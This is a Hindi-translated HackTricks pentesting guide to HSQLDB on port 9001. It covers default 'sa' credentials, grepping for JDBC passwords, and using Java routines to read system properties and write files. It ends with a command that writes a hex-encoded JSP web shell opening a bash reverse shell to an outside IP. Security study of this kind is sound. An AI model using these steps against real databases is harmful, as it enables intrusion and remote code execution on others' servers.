hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md

99 lines
10 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना है? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके साझा करें।**
2022-04-28 16:01:33 +00:00
</details>
2023-11-06 08:38:02 +00:00
# मूलभूत जानकारी
2023-11-06 08:38:02 +00:00
HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\) जावा में लिखी गई प्रमुख SQL संबंधित डेटाबेस सिस्टम है। यह एक छोटा, तेज, बहुसूत्री और संचालनात्मक डेटाबेस इंजन प्रदान करता है जिसमें मेमोरी और डिस्क-आधारित टेबल्स होती हैं और इम्बेडेड और सर्वर मोड का समर्थन करता है।
2023-11-06 08:38:02 +00:00
**डिफ़ॉल्ट पोर्ट:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
2023-11-06 08:38:02 +00:00
# जानकारी
2023-11-06 08:38:02 +00:00
### डिफ़ॉल्ट सेटिंग्स
2023-11-06 08:38:02 +00:00
ध्यान दें कि डिफ़ॉल्ट रूप से यह सेवा संभवतः मेमोरी में चल रही होती है या localhost से बाउंड होती है। यदि आपने इसे खोजा है, तो संभवतः आपने दूसरी सेवा का उपयोग करके इसे अधिकारों को बढ़ाने के लिए उपयोग किया है।
2023-11-06 08:38:02 +00:00
डिफ़ॉल्ट क्रेडेंशियल्स आमतौर पर खाली पासवर्ड के साथ `sa` होते हैं।
2023-11-06 08:38:02 +00:00
यदि आपने दूसरी सेवा का उपयोग किया है, तो संभवतः क्रेडेंशियल्स की खोज के लिए खोजें।
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
2023-11-06 08:38:02 +00:00
ध्यान से डेटाबेस का नाम नोट करें - आपको इसे कनेक्ट करने के लिए आवश्यक होगा।
2023-11-06 08:38:02 +00:00
# जानकारी इकट्ठा करना
2023-11-06 08:38:02 +00:00
[HSQLDB को डाउनलोड करके](https://sourceforge.net/projects/hsqldb/files/) और `hsqldb/lib/hsqldb.jar` को निकालें, डीबी इंस्टेंस के साथ कनेक्ट करने के लिए GUI ऐप (यक्) को `java -jar hsqldb.jar` का उपयोग करके चलाएं और खोजे गए / कमजोर प्रमाणपत्र का उपयोग करके इंस्टेंस से कनेक्ट करें।
2023-11-06 08:38:02 +00:00
ध्यान दें कि एक दूरस्थ सिस्टम के लिए कनेक्शन URL इस तरह दिखेगा: `jdbc:hsqldb:hsql://ip/DBNAME`
2023-11-06 08:38:02 +00:00
# ट्रिक्स
2023-11-06 08:38:02 +00:00
## जावा भाषा रूटीन
2023-11-06 08:38:02 +00:00
हम HSQLDB का उपयोग करके जावा भाषा रूटीन का उपयोग करके एक जावा कक्षा के स्थिर विधियों को बुला सकते हैं। ध्यान दें कि बुलाई गई कक्षा को अनुप्रयोग के कक्षपथ में होना चाहिए।
2023-11-06 08:38:02 +00:00
JRTs `फंक्शन` या `प्रक्रियाएँ` हो सकते हैं। यदि जावा विधि एक या एक से अधिक SQL-संगत प्राथमिक चर वेरिएबल लौटाती है, तो फंक्शन SQL स्टेटमेंट के माध्यम से बुलाई जा सकती हैं। इन्हें `VALUES` स्टेटमेंट का उपयोग करके आह्वानित किया जाता है।
2023-11-06 08:38:02 +00:00
यदि हमें बुलाना चाहिए जावा विधि वॉयड लौटाती है, तो हमें `CALL` स्टेटमेंट का उपयोग करके आह्वानित करना होगा।
2023-11-06 08:38:02 +00:00
## जावा सिस्टम प्रॉपर्टी पढ़ना
2023-11-06 08:38:02 +00:00
फ़ंक्शन बनाएं:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
2023-11-06 08:38:02 +00:00
फ़ंक्शन को निष्पादित करें:
```text
VALUES(getsystemproperty('user.name'))
```
2023-11-06 08:38:02 +00:00
आप यहां [सिस्टम प्रॉपर्टी की सूची पा सकते हैं](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)।
2023-11-06 08:38:02 +00:00
## फ़ाइल में सामग्री लिखें
2023-11-06 08:38:02 +00:00
आप जेडके में स्थित `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` जावा गैजेट का उपयोग कर सकते हैं (जो एप्लिकेशन के क्लास पथ में ऑटोमेटिक रूप से लोड होता है) ताकि आप एक कस्टम प्रक्रिया के माध्यम से हेक्स-एन्कोडेड आइटम को डिस्क पर लिख सकें। **1024 बाइट का अधिकतम आकार का ध्यान दें**
2023-11-06 08:38:02 +00:00
प्रक्रिया बनाएं:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
2023-11-06 08:38:02 +00:00
प्रक्रिया को निष्पादित करें:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
2022-04-28 16:01:33 +00:00
</details>